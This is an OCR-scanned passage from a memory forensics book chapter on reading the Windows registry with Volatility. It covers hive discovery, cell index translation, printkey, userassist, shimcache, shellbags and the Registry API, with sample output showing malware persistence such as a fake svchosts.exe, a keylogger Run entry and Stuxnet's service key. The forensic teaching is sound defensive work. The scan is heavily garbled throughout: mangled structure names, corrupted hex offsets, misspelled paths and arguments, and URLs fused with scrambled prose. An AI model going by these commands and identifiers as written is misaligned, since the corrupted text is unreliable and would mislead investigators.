memory sample, this type of attack is simple to detect by dumping the password hashes
from the registry hive and comparing them with the ones on disk.

Finding Registry Hives

Volatility finds registry hives in memory by using the pool scanning approach (see Chapter
5). The _cvuIVE structure is allocated in a pool with the tag cm10. After you find such an
allocation, you can verify that there is a valid hive by examining the signature member
(_CMHIVE.Hive.Signature). At this point, you can use the HiveList member to locate all
the other hives ( _cMHIVE.HiveList). The _cMHIVE structure is shown in Figure 10-1.

_HHIVE _HHIVE
Signature Signature

Y

<> Hivelist < HivelList l——>

Figure 10-1: Registry hives are enumerated by pool tag
scanning and walking the linked list

The nhivelist plugin scans for registry hives and then prints out their physical and
virtual offsets and path information. The following is an example:

$ python vol.py -f win7.vmem --profile=Win7SP0x86 hivelist

Volatility Foundation Volatility Framework 2.4

Virtual Physical Name

0x82b7a140 0x02b7al140 [no name]

0x820235c8 0x203675c8 \SystemRoot\System32\Config\SAM

0x87ala250 0x27eb3250 \REGISTRY\MACHINE\SYSTEM

0x87a429d0 0x27£9d9d0 \REGISTRY\MACHINE\HARDWARE

0x87ac34f8 0x135804f8 \SystemRoot\System32\Config\DEFAULT

0x88603008 0x20d36008 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0x88691008 0xlcalc008 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0x9141e9d0 0x1dc569d0 \??\C:\Windows\System32\config\COMPONENTS

[snip]
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NOTE

Notice that in addition to well-known registries (saM, SYSTEM, NTUSER . DAT) there is also
a registry that has a name [no name]. This registry contains keys and symbolic links
for REGISTRY\A (an application hive), REGISTRY\MACHINE and REGISTRY\USER. For infor-
mation regarding application hives, see http://msdn.microsoft.com/en-us/library/
windows/hardware/jj673019%28v=vs.85%29.aspx.

Locating registry hives is critical because your ability to print the actual key and value
data relies on first finding the hives. The registry file format is well documented by Timothy
D. Morgan (http ://sentinelchicken.com/data/TheWindowsNTRegistryFileFormat. pdf).
You can see the simplified structure of a registry file on disk in Figure 10-2. The registry
file contains a header and is broken up into sections called hive bins. Subsequently, each
hive bin has a header and is broken up into cells. The cells contain the actual key and

value data.
Hive Bin
Header
Cell 1 Length
Cell 1 Data
Registry
Head
cacer Cell 2 Length
Hive Bin 1
Cell 2 Data
Hive Bin 2
Hive Bin N

Figure 10-2: A simplified diagram of the registry file format

Address Translations

Because of address translation, things become a bit more complicated when dealing with
registry hives in memory as opposed to registry files on disk. The Configuration Manager
(CM) is the component of the kernel that manages the registry (http: //msdn.microsoft . com/



Registry in Memory 287

en-us/library/windows/hardware/f£565712%28v=vs.85%29.aspx) and specifically deals
with the address translation. The CM creates a mapping between cell indexes (values that
are used to find the cells that contain the registry key data) and virtual addresses. The
CM then stores this mapping in the _rHIVE structure. The member of interest is Storage,
which is of type _puaL. If you look up the _puaL structure, you will see the Map member.

>>> dt("_DUAL")
'_DUAL' (220 bytes)

0x0 : Length ['unsigned long']

0x4 : Map ['pointer', ['_HMAP DIRECTORY']]
0x8 : SmallDir ['pointer', [' HMAP TABLE']]

0xc : Guard ["unsigned long']

0x10 : FreeDisplay [tarray', 24, ['_RTL BITMAP']]
[snip]

If you follow the Map member, you find all the structures needed to correctly obtain
the virtual address for a registry key (in bold):

>>> dt(“_HMAP_DIRECTORY“)
' HMAP DIRECTORY' (4096 bytes)
0x0 : Directory [tarray', 1024, ['pointer', [' HMAP TABLE']]]

>>> dt (" HMAP TABLE")
'_HMAP_TABLE' (8192 bytes)
0x0 : Table ['array', 512, [' HMAP ENTRY']]

>>> dt ("_HMAP_ENTRY")
' _HMAP_ENTRY' (16 bytes)

0x0 : BlockAddress ["unsigned long']
0x4 : BinAddress ['unsigned long']
0x8 : CmView ['pointer', [' CM VIEW OF FILE']]
0xc : MemAlloc ["unsigned long']

Every cell index is broken up and used as a set of indices into the aforementioned struc-
tures. Figure 10-3 demonstrates an example of how cell indexes are broken up to obtain
virtual addresses, which was described in Brendan Dolan-Gavitt’s presentation (http://
www.dfrws.org/2OOS/proceedings/p26—dolan—gavitt_pres.pdf)I{ereisa(iescrqpﬁorlof
each of the bit fields:

Bit 0: Indicates whether the key is stable or volatile. Stable keys can also be found
in the registry file on disk, whereas volatile keys are found only in memory.

Bits 1-10: An index into the Directory member.

Bits 11-19: An index into the Table member.

Bits 20-31: The offset within the Blockaddress of where the key data resides. This
is the cell within the registry. The cell contains the length of the data. Therefore,
after you find the offset within the Blockaddress, you must add 4 (the size of the
Length member) to get to the actual data.
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Figure 10-3: Cell index breakdown to obtain a virtual address

Printing Keys and Values

Registry keys are stored as a tree-like structure, where a root key exists. The children,
or subkeys, are traversed until the leaf node (the last part of the key path) is accessed.
Therefore, to access a registry key and its data, you have to start from the root key and
walk down the tree until you reach the leaf node. The structure for nodes, _cM_xey_NODE,

is shown in the following code:

>>> dt (" _CM KEY NODE")

' CM_KEY NODE' (80 bytes)

0x0 : Signature ['String', {'length': 2}]

0x2 : Flags ["unsigned short']

0x4 : LastWriteTime ['WinTimeStamp', {}]

0xc : Spare ['unsigned long']

0x10 : Parent ["unsigned long']

0x14 : SubKeyCounts [tarray', 2, ['unsigned long']]
0xlc : ChildHiveReference ['_CM_KEY REFERENCE']

O0xlc : SubKeyLists [tarray', 2, ['unsigned long']]
0x24 : ValueList [' CHILD LIST']

[snip]

Ox4c : Name ['String', {

"length': <function <lambda> at 0x1017eb5£0>}]
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When you use the printkey plugin, you pass it the desired registry key path on com-
mand line (the -x/- -key argument). The plugin finds all available registries in memory
and accesses the subkeyLists and valueLists members to traverse the trees. Thus, this
plugin enables you to print a key, its subkeys, and its values. The following example shows
you how to use this plugin:

S python vol.py -f win7.vmem --profile=Win7SP1x86 printkey

-K "controlset00l\control\computername"

Volatility Foundation Volatility Framework 2.4
Legend: (S) = Stable (V) = Volatile

Registry: \REGISTRY\MACHINE\SYSTEM
Key name: ComputerName (S)
Last updated: 2011-10-20 15:25:16
Subkeys:

(S) ComputerName

(V) ActiveComputerName
Values:

In the output, you can see the registry path, key name, last write time, subkeys, and
any values that the key has (in this case, there were none). The printkey plugin also tells
you whether the registry key or its subkeys are stable (S) or volatile (V).

NOTE

You can also pass the printkey plugin an offset (using -o/ - -of£set), which specifies the
virtual address of a specific registry hive. This can be useful if you want to concentrate
on only one registry hive. You obtain the virtual address from the hivelist plugin, as
shown earlier in the chapter.

Detecting Malware Persistence

Several registry keys are relevant in investigations involving malware. For example, mal-
ware may need a way to persist on a system even after the system is rebooted. One of the
easiest ways to accomplish this task is to modify one of the startup registry keys. These
keys contain information about programs that run when the system boots up or a user
logs in. Therefore, you should check these known registry keys to see if the malware is
using them to persist on the machine. The following list shows some known startup keys.

For system startup:

HKLM\ SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
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For user logons:

HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce

For a more comprehensive list of startup keys, see the rRegripper wiki (https://code
.google.com/p/regripper/wiki/ASEPs)OrthfSysinIernaISAutoRunsLﬁihiy(http://technet

.microsoft.com/en—us/sysinternals/bb963902.aspx)

NOTE

HKEY_CURRENT_USER (or HKcU for short) refers to a user-specific registry. HKEY_LocaL
_MACHINE (or HKLM for short) refers to a registry used by the system.

An example of malware persistence is shown in the following output. The malicious
executable c: \WINDOWS\system32\svchosts.exe is run every time the system starts up. This
is immediately suspicious because no svchosts. exe executable exists on a clean Windows
machine—it is attempting to blend in with the legitimate svchost . exe (without the extra
“s”). Notice that you do not have to prefix the -k/--key argument with HKLM\ SOFTWARE
because it is actually not part of the path within the registry, but instead denotes which
registry contains the key (for example, the sorTware hive on the local machine).

$ python vol.py -f grrcon.raw --profile=WinXPSP3x86 printkey

-K "Microsoft\Windows\CurrentVersion\Run"

Volatility Foundation Volatility Framework 2.4

Legend: (S) = Stable (V) = Volatile

Registry: \Device\HarddiskVolumel\WINDOWS\system32\config\software
Key name: Run (S)
Last updated: 2012-04-28 01:59:22 UTC+0000

Subkeys:
(S) OptionalComponents

Values:
REG_S7Z Adobe Reader Speed Launcher

(S) "C:\Program Files\Adobe\Reader 9.0\Reader\Reader sl.exe"
REG_SZ Adobe ARM

(S) "C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe"
REG_SZ svchosts

(S) C:\WINDOWS\system32\svchosts.exe
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The following output shows an example of persistence when the user logs in. In this
case, the program of interest turns out to be a key logger that runs every time the user
Andrew (as shown in the registry path) logs on to the system. Notice that the entire path
after HKCU is given to printkey:

$ python vol.py -f Win7.raw --profile=Win7SP1x64 printkey

-K "SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN"

Volatility Foundation Volatility Framework 2.4
Legend: (S) = Stable (V) = Volatile

Registry: \??\C:\Users\Andrew\ntuser.dat
Key name: Run (S)
Last updated: 2013-03-10 22:47:09 UTC+0000

Subkeys:

Values:
REG_SZ mswinnt : (S) "C:\Users\Andrew\Desktop\mswinnt.exe"
--logfile=log.txt --encryption-index=4

Another method of persistence that malware often uses is the creation of a service.
When a service is created, the registry (in particular, BKLM\SYSTEM\CurrentControlset\
Services) is modified to contain information about the service. You can print this key
and determine whether a service name stands out as suspicious. If you use timelines, as
discussed in Chapter 18, and examine the services registry key, you can quickly identify
newly added services based on the last written timestamps. The following is example out-
put from a memory sample with Stuxnet that demonstrates this persistence mechanism:

$ python vol.py -f stuxnet.vmem --profile=WinXPSP3x86 printkey

-K "ControlSet00l\services\MRxNet"

Volatility Foundation Volatility Framework 2.4
Legend: (S) = Stable (V) = Volatile

Registry: \Device\HarddiskVolumel\WINDOWS\system32\config\system
Key name: MRxNet (S)
Last updated: 2011-06-03 04:26:47 UTC+0000

Subkeys:
(V) Enum
Values:
REG_SZ Description (S) MRXNET
REG_SZ DisplayName (S) MRXNET
REG_DWORD ErrorControl : (8) 0
REG_SZ Group : (S) Network
REG SZ ImagePath (s) \??\C:\WINDOWS\system32\Drivers\mrxnet.sys
REG_DWORD Start (S) 1
REG_DWORD Type (s) 1
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NOTE

You can obtain the currentcontrolset by querying the following volatile key:

S vol.py -f XPSP3x86.vmem --profile=WinXPSP3x86 printkey
-K currentcontrolset

Volatility Foundation Volatility Framework 2.4

Legend: (S) = Stable (V) = Volatile

Registry: \Device\HarddiskVolumel\WINDOWS\system32\config\system
Key name: CurrentControlSet (V)
Last updated: 2010-10-29 17:08:47 UTC+0000

Subkeys:

Values:
REG_LINK SymbolicLinkValue : (V) \Registry\Machine\System\ControlSet001

This is important to note because there can be many control sets that contain dif-
ferent system configurations (see http://support.microsoft.com/kb/100010). The
CurrentControlSet contains the settings that the machine is using at the current
moment. Therefore, if you use the incorrect control set, you may not see the current
configurations.

Although the printkey plugin is very useful, it is also limited in that it prints only the
raw key values. This is fine for integer or string values, but it is not sufficient for keys
that contain binary or embedded data, such as Userassist keys. These keys require some
extra processing to interpret before displaying data to the user; otherwise, it would just
look like a blob of hex bytes. Also, the printkey plugin only checks one registry key at a
time. For these reasons, the Volatility Registry API was created.

Volatility’s Registry API

The Registry API was designed to allow easy processing of complicated registry keys or
many keys at the same time. For example, you can use it to automatically check the 20 most
common startup keys, sort keys based on their last write time, and so on. In the following
code, we show you how to import and instantiate the Registry API from the volshell
plugin. You use nearly identical code to call the API from your own plugins as well.

>>> import volatility.plugins.registry.registryapi as registryapi
>>> regapi = registryapi.RegistryApi(self. config)
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When the Registry API object is instantiated, a dictionary of all registry files in the memory
sample is saved. This makes it more efficient to switch between hives without rescanning. You
can check out the RegRipper project (http://code.google.com/p/regripper/) to getan idea
of the numerous possibilities for writing plugins. In fact, Brendan created a proof of concept
project named volrip for an older version of Volatility that allowed an investigator to run
RegRipper commands against memory-resident registry hives (see http://moyix.blogspot
.com/2009/03/regripper—and—volatility—prototype.html)I{OVVGVGLthisvvasrefﬂaceclvvﬁh
the Registry API, which is more portable because it doesn't rely on the Perl-to-Python glue.

NOTE

An alternative to parsing the registry files in memory is using the dumpfiles plugin
(described in Chapter 16) to extract hives from the Windows cache manager and then
parse them with external tools. This method pulls the cached copy of the hive file, so
volatile keys will not be included. Furthermore, there may be zero-padded gaps in
each registry file due to paging. Most offline registry tools expect to parse a complete
registry file from disk (not one dumped from memory) and may need some tweaking
to handle these dumped registry files.

Also note that Windows 7 systems do not cache the registry hive files in the same
manner as earlier versions of Windows. Thus, dumpfiles cannot be used in the described
manner.

The following shows an example from within the volshel1 plugin that uses the Registry
API to print out the subkeys of a designated registry key. First you set the current context
to be the NTUSER. DAT registry hive of the administrator, and then you use the reg_get_
all_subkeys function. In this case, you just print out the name, but you could process the
results as you would any registry key of type _cM_kEy_NODE:

>>> regapi.set current(hive name = "NTUSER.DAT", user = "administrator™")
>>> key = "software\\microsoft\\windows\\currentversion\\explorer"
>>> for subkey in regapi.reg get all subkeys(None, key = key):

print subkey.Name

Advanced
BitBucket
CabinetState
CD Burning
CLSID
ComD1g32
[snip]
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Additionally, the following code snippet shows how to obtain registry values. Again,
this is from within the volshel1 plugin. If you want to get a particular value by name,
you can use reg_get_value.

>>> k = "controlset001\\Control\\ComputerName\\ComputerName"

>>> v = "ComputerName"

>>> val = regapi.reg get value(hive name = "system", key = k, value = v)
>>> print val

BOB-DCADFEDC55C

The following code shows how to print multiple registry values. Here you can see that
one of the startup keys is used, and each of its values is printed. Notice that you can see
the malicious program that runs every time the system reboots:

>>> k = "Microsoft\\Windows\\CurrentVersion\\Run"

>>> regapi.set_ current(hive name = "software")

>>> for value, data in regapi.reg yield values(hive name = "software", key = k):
print value, "\n ", data

Adobe Reader Speed Launcher

"C:\Program Files\Adobe\Reader 9.0\Reader\Reader sl.exe"
Adobe ARM

"C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe"
svchosts

C:\WINDOWS\system32\svchosts.exe

If you wanted to get the last ten modified keys from the administrator’s NTUSER . DAT
registry, the following code snippet shows how to accomplish that. In this case, the last
activity in the NTUSER . DAT hive shows that a network share was created:

>>> hive = "NTUSER.DAT"
>>> for t, k in regapi.reg get last modified(hive_name = hive, count = 10):
print t, k

2012-04-28 02:22:16 UTC+0000
$$$PROTO.HIV\Software\Microsoft\Windows\CurrentVersion\Explorer

2012-04-28 02:21:41 UTC+0000
$$$PROTO.HIV\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2

\##DCO0l#response

2012-04-28 02:21:41 UTC+0000
$$$PROTO.HIV\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2

2012-04-28 02:21:41 UTC+0000 $$$PROTO.HIV\Network\z

2012-04-28 02:21:41 UTC+0000 $$SPROTO.HIV\Network

2012-04-28 02:21:41 UTC+0000 $SSPROTO.HIV

2012-04-28 02:21:21 UTC+0000
$SSPROTO.HIV\Software\Microsoft\Windows NT\CurrentVersion\PrinterPorts

2012-04-28 02:21:21 UTC+0000
$$SPROTO.HIV\Software\Microsoft\Windows NT\CurrentVersion\Devices

2012-04-28 02:21:16 UTC+0000 $$$SPROTO.HIV\SessionInformation

2012-04-28 02:21:15 UTC+0000
$$SPROTO.HIV\Software\Microsoft\Windows\ShellNoRoam\MUICache
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If you want to see the subkeys and values for each of these keys, you can use a combina-

tion of the functions you've just seen. The following is example code and partial output,

“"or

in which you can see that the network share \\pco1\response was mapped to drive “z”.

You can use the consoles plugin (see Chapter 17) to look for net use commands and

see whether the drive was mapped by the attacker or by the person who collected the

memory sample.

>>> hive = "NTUSER.DAT"
>>> for t, k in regapi.reg get last modified(hive name = hive, count = 10):

[snip]

print "LastWriteTime:", t

print "Key:", k

k = k.replace("$$$PROTO.HIV\\", "")

for subkey in regapi.reg get all subkeys(hive name = hive, key = k):
print "Subkey: ", subkey.Name

for value, data in regapi.reg yield values(hive name = hive, key = k):
print "Value:", value, data

print "xm * 20

LastWriteTime: 2012-04-28 02:21:41 UTC+0000
Key: $$$PROTO.HIV\Software\Microsoft\Windows\CurrentVersion\Explorer
\MountPoints2\##DCOl#response

Value:
Value:
Value:

[snip]

BaseClass Drive

_CommentFromDesktopINI
_LabelFromDesktopINI

khkkhkkkkkkkkhhkkkkhkhkkkx

LastWriteTime: 2012-04-28 02:21:41 UTC+0000
Key: $$$PROTO.HIV\Network\z

Value:
Value:
Value:
Value:
Value:
Value:

RemotePath \\DCOl\response

UserName

ProviderName Microsoft Windows Network
ProviderType 131072

ConnectionType 1

DeferFlags 4

Parsing Userassist Keys

The Userassist keys are an important registry artifact used for determining what programs

the user ran, as well as the time they were run. These keys are found in the NTUSER. DAT

registries of each user on a machine. All the information is contained in a binary blob

that must be parsed in a special way. The key paths may be different depending on the
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system you are investigating. For example, on Windows XP, 2003, Vista, and 2008, the
Userassist key path is this:

HKCU\software\microsoft\windows\currentversion\explorer\userassist
\{75048700-EF1F-11D0-9888-006097DEACF9}\Count

Starting in Windows 7, the Userassist key path can be one of the following:

HKCU\software\microsoft\windows\currentversion\explorer\userassist
\ {CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count

HKCU\software\microsoft\windows\currentversion\explorer\userassist
\{F4E57C4B-2036-45FO-A9AB-443BCFE33D9F}\Count

In addition to the binary data that must be parsed for each of these keys, the value
name contains the path of the program (or link) that was accessed. However, it is rot13
encoded, which is a simple Caesar cipher in which the letters are shifted by 13 places.
The following raw data was extracted with the printkey plugin. The value, as you can
see, is not readable because it is rotl3 encoded. Furthermore, the binary data contains a
timestamp in bold.

REG_BINARY HRZR EHACNGU:P:\JVAQBJF\flfgrz32\pzq.rkr : (S)
0x00000000 01 00 00 00 06 00 00 00 b0 41 5e b0 95 b6 ca 01

Parsing Userassist data utilizes defined structures. Similar to the key paths, the struc-
tures vary depending on the operating system. You can see the structure for Windows
XP, 2003, Vista, and 2008 machines in the following code. The members of interest are
CountStartingaAtFive, which is the number of times the application has run, and the
LastUpdated timestamp, which is the last time the application was run.

>>> dt ("_VOLUSER ASSIST TYPES")
' _VOLUSER_ASSIST TYPES' (16 bytes)

0x0 : ID ['unsigned int']
0x4 : CountStartingAtFive ["unsigned int']
0x8 : LastUpdated ['WinTimeStamp']

The following output shows the translated data from the userassist plugin. You can
see the path to the program (cmd.exe) and determine that it ran one time, at 3:42:15 on
February 26, 2010. Based on this information, you can go on to use the cmdscan or consoles
plugins (see Chapter 17) to see whether any attacker’s commands still reside in memory.
The userassist plugin also outputs the raw binary data in case you need to verify that

the output is correct.

$ python vol.py -f XPSP3x86.vmem --profile=WinXPSP3x86 userassist

[snip]

REG_BINARY UEME_RUNPATH:C:\WINDOWS\systemBZ\cmd.exe
ID: 1

Count: 1

Last updated: 2010-02-26 03:42:15
0x00000000 01 00 00 00 06 00 00 00 bO 41 5e b0 95 b6 ca 01
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Detecting Malware with the Shimcache

The Shimcache registry keys are part of the Application Compatibility Database, which
“identifies application compatibility issues and their solutions” (see http://msdn
.microsoft.com/en-us/library/bb432182 (v=vs.85) .aspx). These keys contains a path for
an executable and the last modified timestamp from the $STANDARD_INFORMATION attri-
bute of the MFT entry. This is very useful for proving that a piece of malware was on
the system and what time it ran. Two possible registry keys are used, depending on the
operating system.

For Windows XP:

HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatibility

For Window 2003, Vista, 2008, 7, and 8:

HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache

If you print out those registry keys, however, you will see a lot of binary data. This
data must be parsed using specific structures. The following code shows the structures
used to represent the Shimcache records on a Windows XP system:

>>> dt("ShimRecords")
'ShimRecords' (None bytes)

0x0 : Magic ['unsigned int']

0x8 : NumRecords ['short']

0x190 : Entries [tarray', <function <lambda> at 0x103413488>,
[ 'AppCompatCacheEntry']]

>>> dt ("AppCompatCacheEntry")
'AppCompatCacheEntry' (552 bytes)

0x0 : Path ['NullString', {'length': 520, 'encoding': 'utfg'}]
0x210 : LastModified ['WinTimeStamp', {}]
0x218 : FileSize ["long long']

[

0x220 : LastUpdate 'WinTimeStamp', {}]

A member of interest is the Entries list of shimRecords, which is a list of
AppCompatCacheEntry objects. The aAppcompatcacheEntry objects are the actual objects that
contain the information about the Shimcache record, such as the file path and timestamps.
The following output shows the raw data for the appcompatcache value on a Windows
XP system:

S python vol.py -f XPSP3x86.vmem --profile=WinXPSP3x86 printkey

-K "ControlSet001l\Control\Session Manager\AppCompatibility"
[snip]
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REG_BINARY AppCompatCache : (S)

[snip]

0x00000190 ©5c 00 3f 00 3f 00 5¢c 00 43 00 3a 00 5¢ 00 57 00 \.?2.2.\.C.:.\
0x000001a0 49 00 4e 00 44 00 4f 00 57 00 53 00 5¢ 00 73 00 I.N.D.O.W.S.\.
0x000001b0 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 y.s.t.e.m.3.2
0x000001c0 6f 00 6f 00 62 00 65 00 5c 00 6d 00 73 00 6f 00 o.o.b.e.\.m.s
0x000001d0 6f 00 62 00 65 00 2e 00 65 00 78 00 65 00 00 00 o.b.e...e.x.e

[snip]
0x000003a0 00 a0 13 80 5e 3c c6 01 00 6e 00 00 00 00 00 00 B T P
0x000003b0 bec d9 7b 22 94 b6 ca 01 5¢ 00 3f 00 3f 00 5¢c 00 R L W A
[snip]

The following example shows (redacted) output from a Windows 2003 server. As you
can see, some mysteriously named executables are present:

S python vol.py -f PhysicalMemory.00l --profile=Win2003SP2x86 shimcache
Volatility Foundation Volatility Framework 2.4
Last Modified Path

[snip]

2007-02-17 10:19:26 UTC+0000 \??\C:\WINDOWS\system32\inetsrv\iisrstas.exe
2007-02-17 10:19:26 UTC+0000 \??\C:\WINDOWS\system32\iisreset.exe
2007-02-17 10:59:04 UTC+0000 \??\C:\Program Files\Outlook Express\setup50.exe
2009-03-08 11:32:52 UTC+0000 \??\C: \WINDOWS\system32\ieudinit.exe
2010-07-22 07:47:49 UTC+0000 \??2\C:\XXX\nv.exe

2010-07-22 08:40:57 UTC+0000 \?2?2\C:\XXX\123.exe

2010-07-22 07:44:57 UTC+0000 \2?2\C:\XxX\dl.exe

2010-07-22 07:46:41 UTC+0000 \?22\C:\XXX\ow.exe

[snip]

2010-02-06 23:45:26 UTC+0000 \??\C: \WINDOWS\PSEXESVC.EXE

[snip]

2010-01-19 09:21:41 UTC+0000 \??\E:\XXX\sample.exe

2010-01-19 09:02:26 UTC+0000 \??\E: \XXX\s.exe

[snip]

NOTE

One thing to note about the Shimcache entries is that older entries are often overwrit-
ten with newer ones as the maximum size of the key value is reached (the size varies
depending on the system). Therefore, you may see residual data (similar to slack space
on a hard disk) on a machine that has been running for a while.

Reconstructing Activities with Shellbags

Shellbags is a commonly used term to describe a collection of registry keys that allow
the “Windows operating system to track user window viewing preferences specific to
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Windows Expﬂorer”(see http://www.dfrws.org/2009/proceedings/p69—zhu.pdf)'rhese
keys contain a wealth of information relevant for a forensic investigation. Some example
artifacts that you can find include these:

Windows sizes and preferences

Icon and folder view settings

Metadata such as MAC timestamps

Most Recently Used (MRU) files and file type (zip, directory, installer)

Files, folders, zip files, and installers that existed at one point on the system (even
if deleted)

Network shares and folders within the shares

Metadata associated with any of these types that may include timestamps and
absolute paths

Information about TrueCrypt volumes

NOTE

For more information on the Shellbag data structures, the corresponding registry keys,
and their use in forensic investigations, see the following resources:

She”b@gfhuﬂyﬁsbyI{arkﬂlcarvey:http://windowsir.blogspot.com/2012/08/
shellbag-analysis.html

Windows Shellbag Forensics by Willi Ballenthin: http://www.williballenthin
.com/forensics/shellbags

Shellbags Forensics: Addressing a Misconception: http: //www.4nék.com/2013/12/

shellbags-forensics-addressing.html

Shellbags in Memory

The shellbags plugin for Volatility uses the Registry API to extract data from the appro-
priate keys. It then parses that data using Shellbag data types and outputs the formatted
version, along with the MRU information. Using the MRU details, you can correlate the
last write time of the registry key with the last updated shellbags item. Here is an example
of using the shellbags plugin:

$ python vol.py -f XPSP3.vmem --profile=WinXPSP3x86 shellbags

Volatility Foundation Volatility Framework 2.4

Registry: \Device\HarddiskVolumel\Documents and Settings\User\NTUSER.DAT
Key: Software\Microsoft\Windows\ShellNoRoam\BagMRU\0\0
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Last updated: 2011-06-03 04:24:36

Value: 1

Mru: 0

File Name: DOCUME~1

Modified Date: 2010-08-22 17:38:04
Create Date: 2010-08-22 13:32:26
Access Date: 2010-08-26 01:04:52
File Attribute: DIR

Path: C:\Documents and Settings
Value 0

Mru: 1

File Name: PROGRA~1

Modified Date: 2010-08-25 23:04:02
Create Date: 2010-08-22 13:32:48
Access Date: 2010-08-25 23:04:22
File Attribute: RO, DIR

Path: C:\Program Files
Value 4

Mru: 2

File Name: WINDOWS

Modified Date: 2010-08-26 00:06:24
Create Date: 2010-08-22 13:29:34
Access Date: 2010-10-08 03:27:40
File Attribute: DIR

Path: C: \WINDOWS

[snip]

Here are a few things to note about Shellbags entries:

SHELLITEM entries remain in the registry even after the file has been deleted.
Timestamps associated with sHELLITEM entries are not updated, even if the file is
modified or accessed sometime later.

ITEMPOS entries are updated if the file is moved, deleted, or accessed.

If a user is not logged on to the system at the time the memory sample is taken,
that user’s hives are not available in memory and therefore the Shellbag data is
not processed.

Finding TrueCrypt Volumes with Shellbags

TrueCrypt volumes also appear in Shellbags keys, often as 1TEMPOs entries. Because
ITEMPOS entries are updated, if the TrueCrypt volume is moved or deleted, its entry will
be updated or removed to reflect the change. Files accessed from this volume will have
their Shellbags entries remain intact, however. In the following output, you can see that
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the machine has a TrueCrypt volume mounted on the T: drive, and it was accessed on
2012-09-25 11:48:46.

S python vol.py -f XPSP3.vmem --profile=WinXPSP3x86 shellbags
Volatility Foundation Volatility Framework 2.4

Registry: \Device\HarddiskVolumel\Documents and Settings\user\NTUSER.DAT
Key: Software\Microsoft\Windows\ShellNoRoam\BagMRU\O0

Last updated: 2012-09-25 13:22:43

Value Mru Entry Type Path
1 0 Volume Name C:\
3 1 Volume Name Z:\
4 2 Volume Name T:\

R SR RS SRS RS R RS R R R R R R SRS R R SRR RS E RS EE R R R R SRR EEREEE]
Registry: \Device\HarddiskVolumel\Documents and Settings\user\NTUSER.DAT
Key: Software\Microsoft\Windows\ShellNoRoam\Bags\52\Shell

Last updated: 2012-09-25 12:51:28

Value:

File Name:
Modified Date:
Create Date:
Access Date:

File Attribute:

Path:

Value:

File Name:
Modified Date:
Create Date:
Access Date:

File Attribute:

Path:

Value:

File Name:
Modified Date:
Create Date:
Access Date:

File Attribute:

Path:

ItemPos1567x784 (1)
UserData

2012-06-22 19:28:50
2012-06-22 19:28:50
2012-09-25 12:51:18
SYs, DIR

UserData

ItemPos1567x784 (1)
RECENT~1.XBE
2010-10-18 14:00:50
2010-10-18 14:00:50
2010-10-18 14:00:50
ARC
.recently-used.xbel

ItemPos1567x784 (1)
MYTRUE~1

2012-08-17 14:13:48
2012-08-17 14:12:18
2012-09-25 11:48:46
RO, DIR
MyTrueCryptVolume

NOTE

Note that the name MyTruecryptvolume was chosen on purpose when the volume was
created so that it would stand out in the registry. Real TrueCrypt volumes will prob-
ably not be so obviously named.
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After the TrueCrypt volume is deleted, its 1TEMPOS entry disappears from the registry,
as shown by the following output:

S python vol.py -f XPSP3.vmem --profile=WinXPSP3x86 shellbags

Volatility Foundation Volatility Framework 2.4
hhkhkhkhkhkhkhkhkhkhkhkhkdhkhhhkhkhkhkhhhkhhhkhhhhhkhkhhhhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkkkkdkx
Registry: \Device\HarddiskVolumel\Documents and Settings\user\NTUSER.DAT
Key: Software\Microsoft\Windows\ShellNoRoam\Bags\52\Shell

Last updated: 2012-09-25 14:31:53

Value: ItemPos1567x784 (1)
File Name: UserData

Modified Date: 2012-06-22 19:28:50
Create Date: 2012-06-22 19:28:50
Access Date: 2012-09-25 12:51:18
File Attribute: SYS, DIR

Path: UserData

Value: ItemPos1l567x784 (1)
File Name: RECENT~1.XBE
Modified Date: 2010-10-18 14:00:50
Create Date: 2010-10-18 14:00:50
Access Date: 2010-10-18 14:00:50
File Attribute: ARC

Path: .recently-used.xbel

Although the MyTruecryptvolume entry is no longer in the registry, any individual
files that were accessed from the TrueCrypt volume while it was mounted may still have
entries in the registry. Because the link between the TrueCrypt volume and its files in
the Shellbags keys was severed after its deletion, it becomes difficult to definitively say
what files existed on the TrueCrypt volume, given that these keys show only the filename
instead of the full path. However, if you have the timestamp of when the TrueCrypt vol-
ume existed on the system (either from a previous memory image, registry snapshot, or an
MEFT file from the disk), you can then extrapolate that knowledge to find 1TEMPOS entries
for files within that time period. In the following example, you can potentially associate
recent news.txt and customer emails.txt with the TrueCrypt volume because they were
accessed within about an hour of the access time for MyTrueCryptvolume:

$ python vol.py -f XPSP3.vmem --profile=WinXPSP3x86 shellbags

Volatility Foundation Volatility Framework 2.4
kkhkhkhkkhkhkhhkkhkhkhhkhkhkhhhkhkhdhhkhkhkhhhhhhhhhhhhhkhhhhhkhhhhkhkhhhhkhkhhhhkhkhkhhkhkhkhhhkhkhdhhxdk
Registry: \Device\HarddiskVolumel\Documents and Settings\user\NTUSER.DAT
Key: Software\Microsoft\Windows\ShellNoRoam\Bags\63\Shell

Last updated: 2012-09-25 15:49:32

Value: ItemPos1567x784 (1)

File Name: RECENT~1.TXT



Modified Date:
Create Date:
Access Date:

File Attribute:

Path:

Value:

File Name:
Modified Date:
Create Date:
Access Date:

File Attribute:

Path:

2012-09-25 15:49:16
2012-08-17 14:15:02
2012-09-25 12:49:16
ARC

recent news.txt

ItemPos1567x784 (1)
CUSTOM~1.TXT
2012-06-18 19:52:32
2012-08-17 14:15:18
2012-09-25 12:52:10
ARC

customer emails.txt
